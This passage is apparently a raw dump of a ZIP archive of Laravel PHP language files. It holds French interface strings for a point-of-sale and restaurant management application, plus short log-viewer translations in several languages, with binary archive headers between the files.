'print_variations' => 'Variation de produit (recommandé)', 'print_price' => 'Prix du produit', 'show_price' => 'Afficher le prix', 'preview' => 'Aperçu', 'print_business_name' => "Nom de l'entreprise", 'barcode_setting' => 'Réglage du code-barres', 'paper_width' => 'Largeur de papier', 'paper_height' => 'Hauteur du papier', 'print_labels' => 'Imprimer les étiquettes', 'labels' => 'Étiquettes', ]; PK G �Z����� � fr/user.phpnu �[��� <?php return [ 'edit_profile' => 'Editer le profil', 'change_password' => 'Changer le mot de passe', 'current_password' => 'Mot de passe actuel', 'new_password' => 'Nouveau mot de passe', 'confirm_new_password' => 'Confirmer le nouveau mot de passe', 'user_management' => 'Gestion des utilisateurs', 'roles' => 'Les rôles', 'users' => 'Utilisateurs', 'manage_roles' => 'Gérer les rôles', 'all_roles' => 'Tous les rôles', 'add_role' => 'Ajouter un rôle', 'role_name' => 'Nom de rôle', 'permissions' => 'Autorisations', 'role_added' => 'Rôle ajouté avec succès', 'role_already_exists' => 'Rôle avec le même nom existe déjà', 'edit_role' => 'Modifier le rôle', 'role_updated' => 'Rôle mis à jour avec succès', 'role_deleted' => 'Rôle supprimé avec succès', 'manage_users' => 'Gérer les utilisateurs', 'all_users' => 'Tous les utilisateurs', 'name' => 'Nom', 'role' => 'Rôle', 'add_user' => 'Ajouter un utilisateur', 'user_added' => 'Utilisateur ajouté avec succès', 'role_is_default' => 'Vous ne pouvez pas modifier ce rôle', 'edit_user' => "Modifier l'utilisateur", 'leave_password_blank' => 'Laissez le champ du mot de passe vide si vous ne voulez pas mettre à jour le mot de passe', 'user_update_success' => 'Utilisateur mis à jour avec succès', 'user_delete_success' => 'Utilisateur supprimé avec succès', ]; PK G �Z� Uɧ � fr/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'Restaurant', 'tables' => 'Les tables', 'table' => 'Table', 'manage_your_tables' => 'Gérer les tables de restaurant', 'all_your_tables' => 'Toutes les tables de restaurant', 'description' => 'La description', 'add_table' => 'Ajouter une table', 'edit_table' => 'Modifier la table', 'table_name' => 'Nom de la table', 'short_description' => 'Brève description', 'select_table' => 'Sélectionner une table', 'show_table' => 'Afficher la table', 'table_label' => 'Étiquette de table', 'show_service_staff' => 'Show service staff', 'service_staff_label' => 'Etiquette du personnel de service', 'select_waiter' => 'Sélectionner le serveur', 'modifiers' => 'Modificateurs', 'modifier_sets' => 'Ensembles de modificateurs', 'manage_your_modifiers' => 'Gérer tous les modificateurs de restaurant', 'all_your_modifiers' => 'Tous les modificateurs', 'add_modifier' => 'Ajouter un modificateur', 'modifier_set' => 'Ensemble de modificateurs', 'modifier' => 'Modificateurs', 'edit_modifier' => 'Modifier le modificateur', 'manage_products' => 'Gérer les produits', 'products' => 'Des produits', 'modifiers_for_product' => 'Modificateurs de produit', 'kitchen' => 'Cuisine', 'mark_as_cooked' => 'Marquer comme cuit', 'manage_your_kitchen' => 'Gérer votre cuisine', 'all_orders' => 'Tous les ordres', 'order_no' => 'Numéro de commande', 'order_statuses' => [ 'received' => 'Reçu', 'cooked' => 'Cuit', 'served' => 'Servi', '' => 'Reçu', ], 'order_successfully_marked_cooked' => 'Commande marquée comme cuite', 'order_successfully_marked_served' => 'Commande marquée avec succès', 'orders' => 'Ordres', 'manage_your_orders' => 'Gérer vos commandes', 'all_your_orders' => 'Toutes vos commandes', 'mark_as_served' => 'Marquer comme servi', 'placed_at' => 'Placé à', 'order_status' => 'Statut de la commande', 'order_details' => 'Détails de la commande', 'refresh' => 'Rafraîchir', 'no_orders_found' => 'Aucune commande trouvée', 'select_service_staff' => 'Sélectionner le personnel de service', 'service_staff' => 'Personnel de service', 'kitchen_for_restaurant' => 'Cuisine (pour les restaurants)', 'products_for_modifier' => 'Produits pour modificateur', 'is_service_staff' => 'Est-ce que le personnel de service', 'tooltip_tables' => 'Utilisé principalement dans les restaurants, bars, salons etc.', 'tooltip_modifiers' => 'Articles supplémentaires ajoutés avec le produit principal <br> Exemple: nappages, fromage', 'tooltip_service_staff' => 'Personne qui fournit le service désigné aux clients - Exemple: Personnel d’attente dans les restaurants, coiffeurs dans un salon', 'modules_settings' => 'Paramètres des modules', 'bookings' => 'Réservations', 'add_edit_view_all_booking' => 'Ajouter / Modifier / Afficher toutes les réservations', 'add_edit_view_own_booking' => 'Ajouter / Modifier / Voir ses propres réservations', 'add_booking' => 'Ajouter une nouvelle réservation', 'start_time' => 'Heure de début', 'end_time' => 'Heure de fin', 'booking_not_available' => 'Table déjà réservée pour <b>:customer_name </b> entre <b>:booking_time_range </b>', 'select_correspondent' => 'Choisir correspondant', 'send_notification_to_customer' => 'Envoyer une notification par e-mail / SMS au client', 'booking_details' => 'Les détails de réservation', 'correspondent' => 'Correspondant', 'booking_starts' => 'La réservation commence', 'booking_ends' => 'La réservation se termine', 'cancelled' => 'Annulé', 'completed' => 'Terminé', 'change_booking_status' => 'Modifier le statut de la réservation', 'booked' => 'Réservé', 'delete_booking' => 'Supprimer la réservation', 'click_on_any_booking_to_view_or_change_status' => "Cliquez sur n'importe quelle réservation pour voir les détails ou changer le statut", 'double_click_on_any_day_to_add_new_booking' => "Double-cliquez sur n'importe quel jour pour ajouter une nouvelle réservation", 'todays_bookings' => "Les réservations d'aujourd'hui", 'hello_name' => 'Bonjour :name!', 'booking_confirmed' => 'Votre réservation a été confirmée.', 'table_info' => 'Table: :table', 'booking_time_info' => 'De :from À :to', 'new_booking_subject' => 'Nouvelle réservation -:business_name', 'customer_note' => 'Note client', 'table_report' => 'Rapport de table', 'service_staff_report' => 'Rapport sur le personnel de service', 'service_staff_replacement' => 'Remplacement du personnel de service', ]; PK G �Zq �� � fr/purchase.phpnu �[��� <?php return [ 'supplier' => 'Fournisseur', 'ref_no' => 'Numéro de référence', 'business_location' => "Lieu d'affaires", 'purchases' => 'Achats', 'add_payment' => 'Ajouter un paiement', 'edit_payment' => 'Modifier le paiement', 'view_payments' => 'Voir les paiements', 'amount_already_paid' => 'Montant déjà payé', 'payment_added_success' => 'Paiement ajouté avec succès', 'payment_updated_success' => 'Paiement mis à jour avec succès', 'payment_deleted_success' => 'Paiement supprimé avec succès', 'amount' => 'Montant', 'payment_method' => 'Mode de paiement', 'no_records_found' => 'Aucun enregistrement trouvé', 'payment_due' => 'Paiement dû', 'purchase_total' => "Total d'achat", 'location' => 'Emplacement', 'payment_note' => 'Note de paiement', 'all_purchases' => 'Tous les achats', 'purchase_status' => "Statut d'achat", 'payment_status' => 'Statut de paiement', 'grand_total' => 'Total', 'add_purchase' => 'Ajouter un achat', 'purchase_date' => "Date d'achat", 'purchase_quantity' => "Quantité d'achat", 'unit_cost_before_tax' => 'Coût unitaire (avant impôt)', 'subtotal_before_tax' => 'Sous-total (avant impôt)', 'product_tax' => 'Taxe sur les produits', 'net_cost' => 'Coût net', 'line_total' => 'Total ligne', 'unit_selling_price' => "Prix de vente de l'unité", 'total_before_tax' => 'Total hors taxe (HT)', 'net_total_amount' => 'Montant total net', 'discount_type' => 'Type de remise', 'discount_amount' => 'Montant de remise', 'discount' => 'Remise', 'edit_purchase' => "Modifier l'achat", 'purchase_tax' => "Taxe d'achat", 'shipping_details' => "Les détails d'expédition", 'additional_shipping_charges' => 'Frais de livraison supplémentaires', 'additional_notes' => 'Notes complémentaires', 'purchase_add_success' => 'Achat ajouté avec succès', 'purchase_update_success' => 'Achat mis à jour avec succès', 'purchase_details' => "Les détails d'achat", 'unit_cost_after_tax' => 'Prix unitaire de revient (après impôt)', 'total_after_tax' => 'Total après impôt', 'no_payments' => 'Aucun paiement trouvé', 'allow_purchase_different_currency' => 'Achats dans une autre monnaie', 'purchase_currency' => "Devise d'achat", 'p_exchange_rate' => 'Taux de change', 'diff_purchase_currency_help' => "La devise d'achat est définie sur <strong> :currency </strong>", 'list_purchase' => 'Liste des achats', 'attach_document' => 'Joindre un document', 'download_document' => 'Télécharger le document', 'max_file_size' => 'Taille maximale du fichier: :size Mo', ]; PK G �Z���B� � fr/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Inscrivez-vous et commencez en quelques minutes', 'business_name' => "Nom de l'entreprise", 'start_date' => 'Date de début', 'currency' => 'Devise', 'currency_placeholder' => 'Sélectionnez la devise', 'upload_logo' => 'Télécharger le logo', 'country' => 'Pays', 'state' => 'Wilaya', 'city' => 'Ville', 'zip_code' => 'Code postal', 'zip_code_placeholder' => 'Zip / code postal', 'landmark' => 'Point de repère', 'tax_1_name' => 'Nom de Taxe 1', 'tax_1_no' => 'N°. Taxe 1', 'tax_2_name' => 'Nom de Taxe 2', 'tax_2_no' => 'N°. Taxe 2', 'tax_1_placeholder' => 'TPS / TVA / Autre', 'prefix' => 'Préfixe', 'prefix_placeholder' => 'M Mme Mlle', 'first_name' => 'Prénom', 'last_name' => 'Nom de famille', 'username' => "Nom d'utilisateur", 'email' => 'Email', 'password' => 'Mot de passe', 'confirm_password' => 'Confirmez le mot de passe', 'register' => 'Registre', 'business' => 'Entreprise', 'address' => 'Adresse', 'logo_help' => "Le logo précédent (s'il existe) sera remplacé", 'update_settings' => 'Mettre à jour les paramètres', 'business_settings' => "Paramètres d'entreprise", 'settings_updated_success' => 'Paramètres mis à jour avec succès', 'default_profit_percent' => 'Pourcentage de profit par défaut', 'default_sales_tax' => 'Taxe de vente par défaut', 'default_sales_discount' => 'Remise sur la vente par défaut', 'business_details' => "Détails de l'entreprise", 'tax' => 'Impôt', 'tax_details' => "Détails de l'impôt", 'owner' => 'Propriétaire', 'owner_info' => 'Informations sur le propriétaire', 'sale' => 'Vente', 'sell_price_tax' => 'Prix de vente', 'product' => 'Produit', 'sku_prefix' => 'Préfixe SKU', 'language' => 'Langue', 'time_zone' => 'Fuseau horaire', 'months' => [ 1 => 'Janvier', 2 => 'Février', 3 => 'Mars', 4 => 'Avril', 5 => 'Mai', 6 => 'Juin', 7 => 'Juillet', 8 => 'Août', 9 => 'Septembre', 10 => 'Octobre', 11 => 'Novembre', 12 => 'Décembre', ], 'fy_start_month' => "Mois de début d'année financière", 'accounting_method' => 'Méthode comptable', 'fifo' => 'FIFO (Premier entré, premier sorti)', 'lifo' => 'LIFO (Dernier entré Premier sorti)', 'business_locations' => 'Sites commerciaux', 'business_location' => "Lieu d'affaires", 'manage_your_business_locations' => 'Gérez vos sites commerciaux', 'all_your_business_locations' => "Tous vos sites d'affaires", 'add_business_location' => "Ajouter un nouvel emplacement d'entreprise", 'business_location_added_success' => 'Emplacement géographique ajouté avec succès', 'edit_business_location' => "Modifier l'emplacement de l'entreprise", 'business_location_updated_success' => "Emplacement de l'entreprise mis à jour avec succès", 'location' => 'Emplacement', 'already_registered' => 'Déjà enregistré?', 'sign_in' => 'Se connecter', 'not_yet_registered' => 'Pas encore enregistré?', 'register_now' => 'Inscrire maintenant', 'system' => 'Système', 'show_help_text' => "Afficher le texte d'aide", 'mobile' => 'Mobile', 'alternate_number' => 'Numéro de contact alternatif', 'email' => 'Email', 'settings' => 'Paramètres', 'transaction_edit_days' => 'Modifier les jours de transaction ', 'dashboard' => 'Tableau de bord', 'view_stock_expiry_alert_for' => "Afficher l'alerte de rupture de stock pour", 'days' => 'Journées', 'system_settings' => 'Les paramètres du système', 'add_keyboard_shortcuts' => 'Ajouter des raccourcis clavier', 'operations' => 'Opérations', 'keyboard_shortcut' => 'Raccourci clavier', 'business_created_succesfully' => "L'entreprise a été créée avec succès !!", 'tax_number1' => 'Numéro de taxe 1', 'tax_number2' => 'Numéro de taxe 2', 'is_active' => 'Actif', 'created_by' => 'Créé par', ]; PK G �Z���p� � fr/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'Caisse enregistreuse', 'manage_your_cash_register' => 'Gérer les caisses enregistreuses', 'all_your_cash_register' => 'Toutes les caisses enregistreuses', 'cash_in_hand' => 'Du liquide en main', 'open_cash_register' => 'Ouvrir caisse enregistreuse', 'enter_amount' => 'Entrer le montant', 'open_register' => 'Registre ouvert', 'register_details' => 'Détails de caisse', 'cash_payment' => 'Paiement en espèces', 'checque_payment' => 'Paiement par chèque', 'card_payment' => 'Paiement par carte', 'bank_transfer' => 'Virement', 'other_payments' => 'Autres paiements', 'total_sales' => 'Total des ventes', 'total_cash' => 'Total en espèces', 'current_register' => 'Caisse actuel', 'close_register' => 'Clôturer la caisse', 'total_card_slips' => 'Nombre total de cartes', 'total_cheques' => 'Total des chèques', 'closing_note' => 'Note de clôture', 'close_success' => 'Enregistrement fermé avec succès', 'open' => 'Ouverte', 'close' => 'Fermée', 'total_refund' => 'Total de Remboursement', 'refunds' => 'Remboursements', ]; PK G �ZR#�� � fr/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Produits à faible stock. <br/> <small class = 'text-muted'> Basé sur la quantité d'alerte de produit définie dans l'écran d'ajout de produit. <br> Achetez ce produit avant la fin du stock. </small>", 'payment_dues' => "Paiement en attente pour les achats. <br/> <small class = 'text-muted'> Basé sur la limite de payement du fournisseur. <br/> Affichage des paiements à payer en 7 jours ou moins. </small>", 'input_tax' => 'Taxe totale collectée pour les ventes dans la période sélectionnée.', 'output_tax' => 'Taxe totale versée pour les achats pour la période sélectionnée.', 'tax_overall' => 'Différence entre la taxe totale perçue et la taxe totale payée au cours de la période sélectionnée.', 'purchase_due' => 'Montant total impayé pour les achats.', 'sell_due' => 'Montant total à recevoir des ventes', 'over_all_sell_purchase' => '-ve value = Montant à payer <br> + ve Value = Montant à recevoir', 'no_of_products_for_trending_products' => 'Nombre de produits de tendance à comparer dans le tableau ci-dessous.', 'top_trending_products' => "Les produits les plus vendus de votre boutique. <br/> <small class = 'text-muted'> Appliquez des filtres pour connaître les produits tendance pour une catégorie spécifique, une marque, un lieu de travail, etc. </small>", 'sku' => "Identifiant de produit unique ou unité de gestion des stocks <br> <br> laissez-le vide pour générer automatiquement sku. <br> <small class = 'text-muted'> Vous pouvez modifier le préfixe sku dans les paramètres métier </small> ", 'enable_stock' => 'Activer ou désactiver la gestion des stocks pour un produit.', 'alert_quantity' => "Soyez alerté lorsque le stock de produits atteint ou descend en dessous de la quantité spécifiée. <br> <br> <small class = 'text-muted'> Les produits avec un stock faible s'afficheront dans le tableau de bord - Section Alerte stock produit. </small>", 'product_type' => '<b> Produit unique </b>: Produit sans variations. <br> <b> Produit variable </b>: Produit avec des variations telles que la taille, la couleur, etc.', 'profit_percent' => "Marge bénéficiaire par défaut pour le produit. <br> <small class ='text-muted'> (<i> Vous pouvez gérer la marge bénéficiaire par défaut dans les paramètres d'entreprise. </small>", 'pay_term' => "Paiements à payer pour les achats dans la période de temps donnée. <br/> <small class = 'text-muted'> Tous les paiements à venir ou en cours seront affichés dans le tableau de bord - Section Paiement dû </small>", 'order_status' => 'Les produits de cet achat ne seront disponibles à la vente que si <b> Statut de la commande </b> est <b> Articles reçus </b>.', 'purchase_location' => "Emplacement de l'entreprise où le produit acheté sera disponible à la vente.", 'sale_location' => "Emplacement d'affaires d'où vous voulez vendre", 'sale_discount' => "Définir Remise sur la vente par défaut pour toutes les ventes dans les paramètres d'entreprise.Cliquez sur l'icône d'édition ci-dessous pour ajouter / mettre à jour la réduction.", 'sale_tax' => "Définir la taxe de vente par défaut' pour toutes les ventes dans les paramètres d'entreprise.Cliquez sur l'icône de modification ci-dessous pour ajouter / mettre à jour la taxe de commande. ", 'default_profit_percent' => "Marge bénéficiaire par défaut d'un produit. <br> <small class = 'text-muted'> Utilisé pour calculer le prix de vente en fonction du prix d'achat saisi. <br/> Vous pouvez modifier cette valeur pour les produits individuels en ajoutant </small> ", 'fy_start_month' => "Début du mois de l'année financière pour votre entreprise", 'business_tax' => 'Numéro de taxe enregistré pour votre entreprise.', 'invoice_scheme' => "Schéma de facture signifie le format de numérotation des factures.Sélectionnez le schéma à utiliser pour cet emplacement d'entreprise <br> <small class = 'text-muted'> <i> Vous pouvez ajouter un nouveau schéma de facture </b> dans les paramètres de facture </ i > </small> ", 'invoice_layout' => "Mise en page de facture à utiliser pour cet établissement <br> <small class ='text-muted'> (<i> Vous pouvez ajouter une nouvelle <b> Mise en page de facture </b> dans <b> Paramètres de facture <b> < / i>) </small> ", 'invoice_scheme_name' => 'Donnez un nom court et significatif au système de facturation.', 'invoice_scheme_prefix' => 'Préfixe pour un schéma de facture. <br> Un préfixe peut être un texte personnalisé ou une année en cours. Ex: # XXXX0001, # 2018-0002 ', 'invoice_scheme_start_number' => "Numéro de départ pour la numérotation des factures. <br> <small class = 'text-muted'> Vous pouvez en faire 1 ou tout autre numéro à partir duquel la numérotation commencera. </small>", 'invoice_scheme_count' => 'Nombre total de factures générées pour le schéma de facture', 'invoice_scheme_total_digits' => "Longueur du numéro de facture à l'exclusion du préfixe de facture", 'tax_groups' => "Taux d'imposition de groupe - définis ci-dessus, à utiliser en combinaison dans les sections Achat / Vente.", 'unit_allow_decimal' => 'Décimales vous permet de vendre les produits connexes en fractions.', 'print_label' => 'Ajouter des produits -> Choisir les informations à afficher dans les étiquettes -> Sélectionner le réglage du code-barres -> Aperçu des étiquettes -> Imprimer', 'expense_for' => "Choisissez l'utilisateur pour lequel la dépense est liée à. <I> (Facultatif) </i> <br/> <small> Exemple: Salaire d'un employé. </small>", 'all_location_permission' => "Si <b> Tous les sites </b> sélectionnés, ce rôle aura la permission d'accéder à tous les lieux d'affaires", 'dashboard_permission' => "Si non cochée, seul le message d'accueil s'affichera dans la page d'accueil.", 'access_locations_permission' => "Choisissez tous les emplacements auxquels ce rôle peut accéder.Toutes les données de l'emplacement sélectionné ne seront affichées qu'à l'utilisateur. <br/> <br/> <small> Par exemple: Vous pouvez utiliser ceci pour définir <i> Gérant de magasin / Caissier / Gestionnaire de stock / Gestionnaire de succursale, </i> d'emplacement particulier. </small> ", 'print_receipt_on_invoice' => "Activer ou désactiver l'impression automatique de la facture lors de la finalisation", 'receipt_printer_type' => "<i> Impression basée sur le navigateur </i>: Afficher la boîte de dialogue d'impression dans le navigateur avec prévisualisation de la facture <br/> <br/> <i> Utiliser l'imprimante à reçus configurée </i>: sélectionnez une imprimante ticket / thermique configurée pour impression", 'adjustment_type' => "<I> Normal </i>: Ajustement pour des raisons normales comme des fuites, des dommages, etc. <br/> <br/> <i> Anormal </i>: Ajustement pour des raisons comme le feu, l'accident, etc.", 'total_amount_recovered' => "Montant récupéré de l'assurance ou de la vente de déchets ou d'autres", 'express_checkout' => "Marquer l'argent complet et la caisse", 'total_card_slips' => 'Nombre total de paiements par carte utilisés dans cette caisse', 'total_cheques' => 'Nombre total de chèques utilisés dans cette caisse', 'capability_profile' => "La prise en charge des commandes et des pages de codes varient entre les fournisseurs d'imprimantes et les modèles.Si vous n'êtes pas sûr, c'est une bonne idée d'utiliser le profil de capacité' simple.", 'purchase_different_currency' => 'Sélectionnez cette option si vous achetez dans une devise différente de votre monnaie commerciale', 'currency_exchange_factor' => "1 Devise d'achat =? Devise de base <br> <small class='text-muted'> Vous pouvez activer / désactiver 'Acheter dans une autre devise' dans les paramètres d'entreprise. </small>", 'accounting_method' => 'Méthode comptable', 'transaction_edit_days' => "Nombre de jours à partir de la date de transaction jusqu'à laquelle une transaction peut être modifiée.", 'stock_expiry_alert' => "Liste des stocks expirant dans :days jours <br> <small class='text-muted'> Vous pouvez définir le nombre de jours dans les paramètres d'entreprise </small>", ]; PK G �Z�8��C C fr/role.phpnu �[��� <?php return [ 'add_role' => 'Ajouter un rôle', 'edit_role' => 'Modifier le rôle', 'user' => 'Utilisateur', 'supplier' => 'Fournisseur', 'customer' => 'Client', 'purchase' => 'Achat et ajustement des stocks', 'report' => 'Rapport', 'user.view' => "Voir l'utilisateur", 'user.create' => 'Ajouter un utilisateur', 'user.update' => "Modifier l'utilisateur", 'user.delete' => "Supprimer l'utilisateur", 'supplier.view' => 'Voir le fournisseur', 'supplier.create' => 'Ajouter un fournisseur', 'supplier.update' => 'Modifier le fournisseur', 'supplier.delete' => 'Supprimer fournisseur', 'customer.view' => 'Voir le client', 'customer.create' => 'Ajouter un client', 'customer.update' => 'Modifier le client', 'customer.delete' => 'Supprimer le client', 'product.view' => 'Voir le produit', 'product.create' => 'Ajouter un produit', 'product.update' => 'Modifier le produit', 'product.delete' => 'Supprimer le produit', 'purchase.view' => "Voir l'achat et l'ajustement des stocks", 'purchase.create' => "Ajouter un achat et l'ajustement des stocks", 'purchase.update' => "Modifier l'achat et l'ajustement des stocks", 'purchase.delete' => "Supprimer l'achat et l'ajustement des stocks", 'sell.view' => 'Voir les ventes de POS', 'sell.create' => 'Ajouter les ventes de POS', 'sell.update' => 'Modifier les ventes de POS', 'sell.delete' => 'Supprimer les ventes de POS', 'purchase_n_sell_report.view' => "Voir le rapport d'achat et de vente", 'contacts_report.view' => 'Voir le rapport des fournisseurs et des clients', 'stock_report.view' => "Afficher le rapport de stock, le rapport d'ajustement des stocks et le rapport d'expiration des stocks", 'tax_report.view' => "Voir le rapport d'impôt", 'trending_product_report.view' => 'Afficher le rapport sur les tendances', 'register_report.view' => 'Afficher le rapport du caisse', 'sales_representative.view' => 'Voir le rapport du représentant des ventes', 'expense_report.view' => 'Afficher le rapport de dépenses', 'business_settings.access' => 'Accéder aux paramètres métier', 'barcode_settings.access' => "Paramètres du code à barres d'accès", 'invoice_settings.access' => 'Accéder aux paramètres de facturation', 'brand.view' => 'Voir la marque', 'brand.create' => 'Ajouter une marque', 'brand.update' => 'Modifier la marque', 'brand.delete' => 'Supprimer la marque', 'tax_rate.view' => "Voir le taux d'imposition", 'tax_rate.create' => "Ajouter un taux d'imposition", 'tax_rate.update' => "Modifier le taux d'imposition", 'tax_rate.delete' => "Supprimer le taux d'imposition", 'unit.view' => "Afficher l'unité", 'unit.create' => 'Ajouter une unité', 'unit.update' => "Modifier l'unité", 'unit.delete' => "Supprimer l'unité", 'category.view' => 'Voir la catégorie', 'category.create' => 'Ajouter une catégorie', 'category.update' => 'Modifier la catégorie', 'category.delete' => 'Supprimer la catégorie', 'select_all' => 'Tout sélectionner', 'settings' => 'Paramètres', 'brand' => 'Marque', 'tax_rate' => "Taux d'imposition", 'unit' => 'Unité', 'access_locations' => 'Accès aux lieux', 'all_locations' => 'Tous les emplacements', 'dashboard' => 'Accueil', 'dashboard.data' => 'Afficher les données de tableau de bord', 'profit_loss_report.view' => 'Voir le rapport bénéfice / perte', 'direct_sell.access' => 'Accès vente', ]; PK G �Z�N� � fr/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Exc. de taxe', 'inc_of_tax' => "Inc. de l'impôt", 'profit_percent' => 'x Marge (%)', 'add_new_product' => 'Nouveau produit', 'add_product_for_labels' => 'Ajouter des produits pour générer des étiquettes', 'product_type' => 'Type de produit', 'category' => 'Catégorie', 'sub_category' => 'Sous-catégorie', 'unit' => 'Unité', 'brand' => 'Marque', 'tax' => 'Impôt', 'sku' => 'SKU', 'alert_quantity' => "Quantité d'alerte", 'product_name' => 'Nom du produit (Désignation)', 'auto_generate' => 'Générer automatiquement', 'manage_stock' => 'Gérer le stock?', 'enable_stock_help' => 'Activer la gestion des stocks au niveau du produit', 'barcode_type' => 'Type de code-barres', 'applicable_tax' => 'Taxe Applicable', 'selling_price_tax_type' => 'Type de taxe de vente', 'inclusive' => 'Compris', 'exclusive' => 'Exclusif', 'edit_product' => 'Modifier le produit', 'default_purchase_price' => "Prix d'achat par défaut", 'default_selling_price' => 'Prix de vente par défaut', 'value' => 'Valeur', 'variation_name' => 'Nom de la variation', 'variation_values' => 'Valeurs de variation', 'use_template' => 'Utiliser le modèle', 'add_variation' => 'Ajouter une variation', 'product_added_success' => 'Produit ajouté avec succès', 'product_updated_success' => 'Produit mis à jour avec succès', 'enable_product_expiry' => "Activer l'expiration du produit", 'expiry_period' => "Période d'expiration", 'expires_in' => 'Expire dans', 'not_applicable' => "N'est pas applicable", 'months' => 'Mois', 'days' => 'Journées', 'mfg_date' => 'Date de fabrication', 'exp_date' => "Date d'expiration", 'view_product' => 'Voir le produit', 'add_product' => 'Ajouter un produit', 'variations' => 'Variations', 'import_products' => 'Importer des produits', 'file_to_import' => 'Fichier à importer', 'file_imported_successfully' => 'Fichier importé avec succès', 'variation_sku_format' => 'Format de SKU de variation', 'variation_sku_format_help_text' => 'Format de SKU de variation - Lorsque le SKU de variation est vide, ce format sera utilisé pour générer le SKU des variations.', 'sku_number' => 'Numéro de SKU (Exemple -> ABC-1, ABC-2)', 'sku_variation_number' => 'Numéro de SKU (Exemple -> ABCS, ABCM)' ]; PK G �ZdC�{) ) fr/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Paramètres de facture', 'manage_your_invoices' => 'Gérer les paramètres de votre facture', 'all_your_invoice_schemes' => 'Tous vos schémas de facturation', 'added_success' => 'Paramètre de facture ajouté avec succès', 'updated_success' => 'Paramètre de facture mis à jour avec succès', 'deleted_success' => 'Le paramètre de facture supprimé avec succès', 'add_invoice' => 'Ajouter un nouveau schéma de facture', 'edit_invoice' => 'Modifier le schéma de facture', 'name' => 'Nom', 'prefix' => 'Préfixe', 'start_number' => 'Commencer à partir de', 'total_digits' => 'Nombre de chiffres', 'preview' => 'Aperçu', 'not_selected' => 'Non séléctionné', 'invoice_count' => 'Nombre de factures', 'invoice_schemes' => 'Schémas de facturation', 'invoice_layouts' => 'Dispositions de facture', 'invoice_layout' => 'Présentation de la facture', 'all_your_invoice_layouts' => 'Toutes vos mises en page de facture', 'add_invoice_layout' => 'Ajouter une nouvelle mise en page de facture', 'layout_name' => 'Nom de la mise en page', 'invoice_scheme' => 'Schéma de facturation', 'header_text' => 'En-tête', 'invoice_no_prefix' => 'Facture n ° préfixe', 'invoice_heading' => 'En-tête de facture', 'sub_total_label' => 'Étiquette de sous-total', 'discount_label' => 'Étiquette de remise', 'tax_label' => 'Étiquette fiscale', 'total_label' => 'Étiquette de totale', 'fields_to_be_shown_in_address' => "Champs à afficher dans l'adresse de localisation", 'highlight_color' => 'Couleur de surbrillance', 'footer_text' => 'Texte de pied de page', 'layout_added_success' => 'La mise en page des factures a été ajoutée avec succès', 'edit_invoice_layout' => 'Modifier la disposition de la facture', 'layout_updated_success' => 'Présentation de la facture mise à jour avec succès', 'used_in_locations' => 'Utilisé dans les lieux', 'show_business_name' => "Afficher le nom de l'entreprise", 'show_location_name' => 'Afficher le nom du lieu', 'show_mobile_number' => 'Numéro de portable', 'show_alternate_number' => 'Autre numéro', 'show_email' => 'Email', 'show_tax_1' => 'Détails Taxe 1', 'show_tax_2' => 'Détails Taxe 2', 'fields_to_shown_for_communication' => 'Champs pour les détails de la communication', 'fields_to_shown_for_tax' => 'Champs pour les détails fiscaux', 'invoice_logo' => 'Logo de la facture', 'show_logo' => 'Afficher le logo de la facture', 'show_barcode' => 'Afficher le code barre', 'total_due_label' => 'Étiquette total impayé', 'invoice_heading_not_paid' => 'Suffixe de titre pour impayé', 'invoice_heading_paid' => 'Suffixe de titre pour payé', 'show_payments' => 'Afficher les informations de paiement', 'show_customer' => 'Afficher les informations client', 'paid_label' => 'Étiquette Montant payé', 'customer_label' => 'Étiquette client', ]; PK G �Z��4 vendor/log-viewer/bg/levels.phpnu �[��� <?php return [ 'all' => 'Всички', 'emergency' => 'Emergency', 'alert' => 'Alert', 'critical' => 'Critical', 'error' => 'Error', 'warning' => 'Warning', 'notice' => 'Notice', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Z�^�� � vendor/log-viewer/bg/general.phpnu �[��� <?php return [ 'all' => 'Всички', 'date' => 'Дата', 'empty-logs' => 'Не са намерени логове!', ]; PK G �Z���� vendor/log-viewer/es/levels.phpnu �[��� <?php return [ 'all' => 'Todos', 'emergency' => 'Emergencia', 'alert' => 'Alerta', 'critical' => 'Criticos', 'error' => 'Errores', 'warning' => 'Advertencia', 'notice' => 'Aviso', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Zp��� � vendor/log-viewer/es/general.phpnu �[��� <?php return [ 'all' => 'Todos', 'date' => 'Fecha', 'empty-logs' => 'La lista del log está vacía!', ]; PK G �Zhf�� vendor/log-viewer/zh/levels.phpnu �[��� <?php return [ 'all' => '全部', 'emergency' => '危急', 'alert' => '紧急', 'critical' => '严重', 'error' => '错误', 'warning' => '警告', 'notice' => '注意', 'info' => '信息', 'debug' => '调试', ]; PK G �Z�IX�z z vendor/log-viewer/zh/general.phpnu �[��� <?php return [ 'all' => '全部', 'date' => '日期', 'empty-logs' => '日志列表为空!', ]; PK G �Z� E& & vendor/log-viewer/ro/levels.phpnu �[��� <?php return [ 'all' => 'Toate', 'emergency' => 'Urgență', 'alert' => 'Alertă', 'critical' => 'Critic', 'error' => 'Eroare', 'warning' => 'Pericol', 'notice' => 'Avertisment', 'info' => 'Informare', 'debug' => 'Depanare', ]; PK G �Z��{ { vendor/log-viewer/ro/general.phpnu �[��� <?php return [ 'all' => 'Toate', 'date' => 'Dată', 'empty-logs' => 'Nu există niciun log!', ]; PK G �Z�jd vendor/log-viewer/sv/levels.phpnu �[��� <?php return [ 'all' => 'Alla', 'emergency' => 'Akut', 'alert' => 'Alarmerande', 'critical' => 'Kritisk', 'error' => 'Error', 'warning' => 'Varning', 'notice' => 'Notis', 'info' => 'Information', 'debug' => 'Debug', ]; PK G �Z�s�� � vendor/log-viewer/sv/general.phpnu �[��� <?php return [ 'all' => 'Alla', 'date' => 'Datum', 'empty-logs' => 'Det finns inga loggar att visa.', ]; PK G �Z��C�$ $ vendor/log-viewer/id/levels.phpnu �[��� <?php return [ 'all' => 'Semua', 'emergency' => 'Darurat', 'alert' => 'Waspada', 'critical' => 'Kritis', 'error' => 'Kesalahan', 'warning' => 'Peringatan', 'notice' => 'Pemberitahuan', 'info' => 'Info', 'debug' => 'Debug', ]; PK G �Z�y�^x x vendor/log-viewer/id/general.phpnu �[��� <?php return [ 'all' => 'Semua', 'date' => 'Tanggal', 'empty-logs' => 'Daftar Log Kosong', ]; PK G 